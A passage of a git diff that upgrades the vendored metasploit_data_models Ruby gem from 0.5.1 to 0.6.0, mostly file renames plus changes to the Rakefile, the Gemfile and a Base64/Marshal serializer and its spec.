lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/016_add_host_purpose.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/017_expand_info2.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/018_add_workspace_user_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/019_add_workspace_desc.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/020_add_user_preferences.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/021_standardize_info_and_data.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/022_enlarge_event_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/023_add_report_downloaded_at.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/024_convert_service_info_to_text.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/025_add_user_admin.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/026_add_creds_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100819123300_migrate_cred_data.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100824151500_add_exploited_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100908001428_add_owner_to_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100911122000_add_report_templates.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100916151530_require_admin_flag.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100916175000_add_campaigns_and_templates.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100920012100_add_generate_exe_column.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20100926214000_add_template_prefs.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101001000000_add_web_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101002000000_add_query.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101007000000_add_vuln_info.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101008111800_add_clients_to_campaigns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101009023300_add_campaign_attachments.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101104135100_add_imported_creds.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101203000000_fix_web_tables.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101203000001_expand_host_comment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110112154300_add_module_uuid_to_tasks.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110204112800_add_host_tags.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110317144932_add_session_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110414180600_add_local_id_to_session_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110415175705_add_routes_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110422000000_convert_binary.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110425095900_add_last_seen_to_sessions.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110513143900_track_successful_exploits.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110527000000_add_task_id_to_reports_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110527000001_add_api_keys_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110606000001_add_macros_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110622000000_add_settings_to_tasks_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110624000001_add_listeners_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110625000001_add_macro_to_listeners_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110630000001_add_nexpose_consoles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110717000001_add_profiles_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110727163801_expand_cred_ptype_column.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110730000001_add_initial_indexes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110812000001_prune_indexes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110922000000_expand_notes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20110928101300_add_mod_ref_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20111011110000_add_display_name_to_reports_table.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20111203000000_inet_columns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20111204000000_more_inet_columns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20111210000000_add_scope_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120126110000_add_virtual_host_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120411173220_rename_workspace_members.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120601152442_add_counter_caches_to_hosts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000000_add_vuln_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000001_add_host_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000002_expand_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000003_expand_details2.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000004_add_vuln_attempts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000006_add_module_details.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000007_add_exploit_attempts.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120625000008_add_fail_message.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/mdm.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/mdm/host/operating_system_normalization.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models.rb (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models/serialized_prefs.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models/validators/ip_format_validator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models/validators/password_is_strong_validator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/metasploit_data_models/version.rb (96%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/lib/tasks/yard.rake (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/metasploit_data_models.gemspec (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/script/rails (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/app/models/mdm/web_vuln_spec.rb (80%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/Rakefile (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/assets/javascripts/application.js (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/assets/stylesheets/application.css (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/controllers/application_controller.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/helpers/application_helper.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/mailers/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/models/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/app/views/layouts/application.html.erb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config.ru (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/application.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/boot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/database.yml.example (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/environment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/environments/development.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/environments/production.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/environments/test.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/backtrace_silencers.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/inflections.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/mime_types.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/secret_token.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/session_store.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/initializers/wrap_parameters.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/config/routes.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/db/schema.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/lib/assets/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/log/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/public/404.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/public/422.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/public/500.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/public/favicon.ico (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/dummy/script/rails (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.5.1 => metasploit_data_models-0.6.0}/spec/spec_helper.rb (66%) rename lib/gemcache/ruby/1.9.1/specifications/{metasploit_data_models-0.5.1.gemspec => metasploit_data_models-0.6.0.gemspec} (97%) diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile deleted file mode 100755 index b582299d61..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env rake -begin - require 'bundler/setup' -rescue LoadError - puts 'You must `gem install bundler` and `bundle install` to run rake tasks' -end - - -APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) -load 'rails/tasks/engine.rake' - -Bundler::GemHelper.install_tasks - -require 'rspec/core/rake_task' - -RSpec::Core::RakeTask.new(:spec) -task :default => :spec - -load 'lib/tasks/yard.rake' - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb deleted file mode 100755 index b209aa39cc..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb +++ /dev/null @@ -1,35 +0,0 @@ -# 2012-04-23 -# -# Provides ActiveRecord 3.1x-friendly serialization for descendants of -# ActiveRecord::Base. Backwards compatible with older YAML methods and -# will fall back to string decoding in the worst case -# -# usage: -# serialize :foo, MetasploitDataModels::Base64Serializer.new -# -module MetasploitDataModels - class Base64Serializer - def load(value) - return {} if value.blank? - begin - # Load the unpacked Marshal object first - Marshal.load(value.unpack('m').first) - rescue - begin - # Support legacy YAML encoding for existing data - YAML.load(value) - rescue - # Fall back to string decoding - value - end - end - end - - def dump(value) - # Always store data back in the Marshal format - [ Marshal.dump(value) ].pack('m') - end - end -end - - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb deleted file mode 100644 index 27f7df2994..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb +++ /dev/null @@ -1,7 +0,0 @@ -require 'rails' - -module MetasploitDataModels - class Engine < Rails::Engine - - end -end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb deleted file mode 100755 index ace44fcdac..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb +++ /dev/null @@ -1,22 +0,0 @@ -require "spec_helper" - -module MetasploitDataModels - describe Base64Serializer do - subject{Base64Serializer.new} - - let(:test_value){{:foo => "bar", :baz => "baz"}} - - # We make it same way as in class b/c hard to keep a reliable base64 - # string literal as a fixture - let(:base64_fixture){[Marshal.dump(test_value)].pack('m')} - - it "should turn a Hash into proper base64" do - subject.dump(test_value).should == base64_fixture - end - - it "should turn base64 back into a Hash" do - subject.load(base64_fixture).should == test_value - end - end -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.gitignore diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.rspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.rspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.rspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.simplecov diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/.yardopts diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile similarity index 79% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile index c4e6b487cb..f153705da3 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Gemfile @@ -6,6 +6,9 @@ gemspec # used by dummy application group :development, :test do # supplies factories for producing model instance for specs + # Version 4.1.0 or newer is needed to support generate calls without the 'FactoryGirl.' in factory definitions syntax. + gem 'factory_girl', '>= 4.1.0' + # auto-load factories from spec/factories gem 'factory_girl_rails' # rails is only used for the dummy application in spec/dummy gem 'rails' diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/LICENSE rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/LICENSE diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/README.md b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/README.md rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/README.md diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile new file mode 100755 index 0000000000..8fd6dc482f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/Rakefile @@ -0,0 +1,34 @@ +#!/usr/bin/env rake +begin + require 'bundler/setup' +rescue LoadError + puts 'You must `gem install bundler` and `bundle install` to run rake tasks' +end + +APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) +load 'rails/tasks/engine.rake' + +Bundler::GemHelper.install_tasks + +# +# load rake files like a normal rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +# + +pathname = Pathname.new(__FILE__) +root = pathname.parent +rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path + +Dir.glob(rakefile_glob) do |rakefile| + load rakefile +end + +require 'rspec/core' +require 'rspec/core/rake_task' + +# Depend on app:db:test:prepare so that test database is recreated just like in a full rails app +# @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl +RSpec::Core::RakeTask.new(:spec => 'app:db:test:prepare') + +task :default => :spec + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/api_key.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/api_key.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/api_key.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/client.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/client.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/client.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploit_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploit_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploit_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploited_host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploited_host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/exploited_host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host.rb rename to 